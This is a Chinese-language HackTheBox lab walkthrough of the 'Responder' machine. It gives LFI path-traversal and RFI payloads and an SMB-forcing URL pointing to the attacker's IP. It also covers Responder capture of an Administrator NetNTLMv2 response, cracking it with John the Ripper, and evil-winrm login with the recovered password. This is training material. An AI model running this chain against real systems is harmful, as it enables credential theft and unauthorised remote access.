HTB WP -Responder

task1:

1
2
When visiting the web service using the IP address, what is the domain that we are being redirected to?
当使用 IP 地址访问该 Web 服务时,我们被重定向到了哪个域名?

回答:

我们访问一下这个网站:

1
10.129.118.189
1
unika.htb

就是被重定向到的域名。

task2:

1
2
Which scripting language is being used on the server to generate webpages?
服务器上正在使用哪种脚本语言来生成网页?

nmap扫一下:

1
2
nmap -sV 10.129.118.189
或者nmap -p- --min-rate 1000 -sV 10.129.118.189
1
2
3
4
5
6
7
5985 端口(WinRM 服务)
Windows 远程管理(WinRM) 是 Windows 的原生远程管理协议,它基于简单对象访问协议(SOAP)与远程计算机、服务器、操作系统 and 应用程序进行交互。WinRM 允许管理员或用户进行以下操作:
1.远程与主机进行通信和交互。
2.在非本地但网络可达的系统上远程执行系统命令。
3.远程监控、管理和配置服务器、操作系统及客户端主机。
对于渗透测试人员而言,这意味着如果我们能够设法获取具有远程管理权限的用户的凭据(通常是用户名和密码),
我们就能通过 WinRM 直接获取该主机的 PowerShell 会话。

可以看到80端口version里的php版本,所以应该是php语言写的:

1
php

task3:

1
2
What is the name of the URL parameter which is used to load different language versions of the webpage?
用于加载网页不同语言版本的 URL 参数名称是什么?

回答:

这个需要我们解决IP重定向的问题。(就是那个域名重定向后访问不了的问题)

1
2
3
4
5
由于我们的本地主机不知道如何解析 unika.htb 域名,解析失
败。这表明该 Web 服务器采用了基于名称的虚拟主机(Name-Based Virtual Hosting)技术。

什么是基于名称的虚拟主机?
基于名称的虚拟主机是在单个物理服务器(单 IP)上托管多个不同域名(且各域名独立处理)的方法。这使服务器能够最大化共享内存和 CPU 等资源,而无需不同的主机名使用各自独立的网络接口。Web 服务器在收到HTTP 请求时,会解析其标头字段中的 Host 字段值,并据此返回对应的站点内容。

本质上就是host字段值出问题了,而此时我们的机器不知道怎么找到这个网站。此时需要修改我们的 “/etc/hosts” 文件,将靶机ip和这个新的url绑定起来。本地 Linux 系统的 /etc/hosts 文件用于手动将主机名静态解析为 IP 地址。为了使浏览器正常访问 unika.htb ,我们需要在 /etc/hosts 中添加一行条目

1
vim /etc/hosts(先sudo su提升权限再去编辑)

先按i触发insert模式,再把ip和域名加进去,再按Esc退出insert模式,输入:wq进行保存(一定要保存否则无法生效),修改完之后,重新访问原来的ip,可以发现域名解析成功了,页面也有响应了:

来到这个界面就是成功了。好的回到这道题的问题,用于加载网页不同语言版本的 URL 参数名称是什么?那就更换一下语言呗,右上角EN切换语言:

明显url参数变了:

1
http://unika.htb/index.php?page=german.html

page就是那个变化的变量-url参数,所以答案是:

1
page

task4:

1
2
3
4
5
LFI(本地文件包含)发生在攻击者能够让网站包含一个本不属于该应用程序选项的文件时。如果应用程序
将此输入视为可信数据,并且没有对该输入执行必要的安全过滤检查,那么攻击者就可以通过在输入的文件
名中使用 ../ 字符串进行漏洞利用,最终查看本地文件系统中的敏感文件。
RFI(远程文件包含)与 LFI 类似,但在这种情况下,攻击者可以使用 HTTP、FTP 等协议在目标主机上加载
远程文件。
1
2
3
4
5
6
Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "mimikatz.exe"
在以下用于 page 参数的值中,哪一个是利用本地文件包含(LFI)漏洞的示例:
"french.html"
"//10.10.14.6/somefile"
Standard text (no special characters used here): "../../../../../../../../windows/system32/drivers/etc/hosts"
"mimikatz.exe"

回答:

1
../../../../../../../../windows/system32/drivers/etc/hosts

路径穿越,是本地文件包含的一种。

task5:

1
2
3
4
5
6
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "./../../../../../../../windows/system32/drivers/etc/hosts", "mimikatz.exe"
对于 page 参数,以下哪一个值是利用远程文件包含(RFI, Remote File Include)漏洞的示例:
"french.html"
"//10.10.14.6/somefile"
"./../../../../../../../windows/system32/drivers/etc/hosts"
"mimikatz.exe"?

回答:

1
//10.10.14.6/somefile
1
远程文件包含(RFI): 漏洞允许攻击者包含并执行远程服务器(例如通过 SMB //10.10.14.6/... 或 HTTP http://...)上的文件。

task6:

1
2
What does NTLM stand for?
NTLM 代表什么缩写?

回答:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
New Technology Lan Manager
含义解释与延伸
NT:源自微软的 Windows NT 操作系统(早期 NT 代表 “New Technology”)。
LAN Manager:局域网管理器(微软早期开发的网络操作系统及协议套件)。
NTLM 是微软开发的一种专有的网络身份验证协议。在早期的 Windows 局域网环境中,它被广泛用于验证用户身份,帮助客户端向服务器证明“我是谁”。

什么是 NTLM(新科技局域网管理器)?
NTLM 是微软创建的一组身份验证协议。它是一种质询-响应(Challenge-Response)身份验证协议,用于对
活动目录域中的资源进行客户端身份验证。它是一种单点登录(SSO)类型,因为它允许用户仅在登录时提供
一次底层身份验证因素。
NTLM 身份验证过程按以下方式进行:
1. 客户端向服务器发送用户名和域名。
2. 服务器生成一个随机字符字符串,称为质询(Challenge)。
3. 客户端使用用户密码的 NTLM 哈希加密该质询,并将其发回给服务器。
4. 服务器检索用户密码(或等效项)。
5. 服务器使用从安全帐户数据库中检索到的哈希值来加密质询字符串。然后将该值与从客户端接收到的值进行
比较。如果值匹配,则客户端通过身份验证。

NTLM 与 NTHash 与 NetNTLMv2
NTLM 身份验证相关的术语比较混乱,甚至专业人士有时也会误用,因此让我们明确几个关键术语:
• 哈希函数(Hash function):是一种单向函数,它接受任意数量的数据并返回固定大小的值。通常,结果
称为哈希、摘要或指纹。它们用于更安全地存储密码,因为无法将哈希直接转换回原始数据(尽管存在试图
从哈希恢复密码的攻击,我们稍后会看到)。因此,服务器可以存储你密码的哈希,当你向网站提交密码
时,它会对你的输入进行哈希处理,并将结果与数据库中的哈希进行比较。如果它们匹配,它就知道你提供
了正确的密码。
• NTHash:是在 Windows 系统的 SAM 数据库中以及域控制器上用于存储密码的算法的输出。NTHash 通常
被称为 NTLM 哈希,甚至仅被称为 NTLM,这非常具有误导性/令人困惑。
• NetNTLMv2:当 NTLM 协议想要通过网络进行身份验证时,它会使用如上所述的质询/响应模型。
NetNTLMv2 质询/响应是专门格式化以包含质询和响应的字符串。这通常被称为 NetNTLMv2 哈希,但它实
际上并不是一个哈希。不过,它通常仍被称为哈希,因为我们以相同的方式对其进行攻击。你会看到
NetNTLMv2 对象被称为 NTLMv2,甚至容易混淆地称为 NTLM。

task7:

1
2
Which flag do we use in the Responder utility to specify the network interface?
Responder 工具中用来指定网络接口的参数(标志)是什么?

回答:

1
-I

task8:

1
2
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
有几种工具可以通过尝试数百万个密码来对 NetNTLMv2 挑战/响应进行计算,以检查是否有任何密码生成相同的响应。其中一个工具通常被称为 john,但它的全称是什么?

回答:

1
这个工具的全称是 John the Ripper(通常简称为 JtR)。

task9:

1
2
What is the password for the administrator user?
管理员用户的密码是什么?

使用 Responder:

1
2
3
4
5
6
Responder 可以执行许多不同种类的攻击,但在本场景中,它将设置一个恶意的 SMB 服务器。当目标机器尝
试对该服务器执行 NTLM 身份验证时,Responder 会发回一个质询,供服务器使用用户的密码进行加密。当服
务器响应时,Responder 将使用该质询和加密的响应来生成 NetNTLMv2。虽然我们无法逆向 NetNTLMv2,但
我们可以尝试许多不同的常用密码,看看是否有任何密码能生成相同的质询-响应。如果我们找到一个,我们就
知道那是密码。这通常被称为密码爆破(Hash Cracking),我们将使用名为 John The Ripper 的程序来完成此
操作。

首先,如果机器上尚未安装 Responder 实用程序,我们将 Responder 存储库克隆到本地机器:

1
git clone https://github.com/lgandx/Responder
1
cat Responder.conf

监听 SMB 请求开了就行了。

配完后,我们可以使用 python3 启动 Responder,并使用 -I 参数传入要监听的网络接口:

1
2
sudo su
python3 Responder.py -I tun0

其实就是:

1
sudo responder -I <网络接口>

准备好 Responder 服务器后,我们通过网络浏览器将 page 参数设置为如下内容,告诉服务器包含来自我们SMB 服务器的资源:

1
http://unika.htb/?page=//10.10.16.85/somefile

在本例中,由于我们可以自由指定 SMB 共享的地址,因此我们指定攻击机的主机 IP 地址。现在,服务器尝试从我们的 SMB 服务器加载资源,而 Responder 捕获了足够的内容以获取 NetNTLMv2。

注意:请确保在地址中添加 http://,因为某些浏览器可能会选择进行谷歌搜索,而不是导航到相应的页面。

这里讲解一下tun0是啥?你自己用ipconfig查看ip的时候,tun0是你连接htb平台vpn的接口,page后面的ip就是你的vpn接口ip,就是你的kali上面的那个带锁的标识对应的ip,这样你才能拿到hash(10.10.16.85就是我的vpn地址,这个要放到10.10.16.85,我只是想告诉你tun0=10.10.16.85(vpn地址)):

1
Administrator::RESPONDER:4c4fe3ebdc2b94d0:3212B98AAEDB4C970B52433530478BFB:010100000000000080A5FE09501BDD019DE172C0169DDE0A00000000020008004D004B0054004C0001001E00570049004E002D005A004F0052004A0038005500310041004E005500580004003400570049004E002D005A004F0052004A0038005500310041004E00550058002E004D004B0054004C002E004C004F00430041004C00030014004D004B0054004C002E004C004F00430041004C00050014004D004B0054004C002E004C004F00430041004C000700080080A5FE09501BDD01060004000200000008003000300000000000000001000000002000004A9754CF24083A8181A32FEF8EA3692AC4CA5C3E4663BEF367B8DC76B151719F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00380035000000000000000000

把这段拿出来,存为hash.txt:

我们可以使用 john the ripper 破解密码

1
john -w=/usr/share/wordlists/rockyou.txt hash.txt
1
-w就是调用字典,后面跟的是字典的路径

跑出来密码是

1
badminton

task10:

1
2
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
我们将使用一个 Windows 服务(即在主机上运行的服务)通过我们恢复的密码远程访问 Responder 机器。它监听的是哪个 TCP 端口?

回答:

1
5985(winRM服务)

task11:

1
2
On which user's desktop is the flag located?
flag 位于哪个用户的桌面上?

回答:

1
mike

这道题就是提示,虽然我们前面得到的密码是admininster的,但是flag不在他的文件夹下面(下面操作因为Winrm响应真的太慢了,我就直接按正确步骤去写wp了,至于怎么探测出这个路径的,你们可以自己尝试):

我们先连接到目标上的 WinRM 服务并尝试获取会话,工具: Evil-WinRM

1
evil-winrm -i 10.129.118.189 -u administrator -p badminton

winrm响应比较慢。

先回到user界面:

1
cd ..
1
ls或者dir探测目录

接下来就是进去,然后ls一下,如果看到flag cat或者type一下: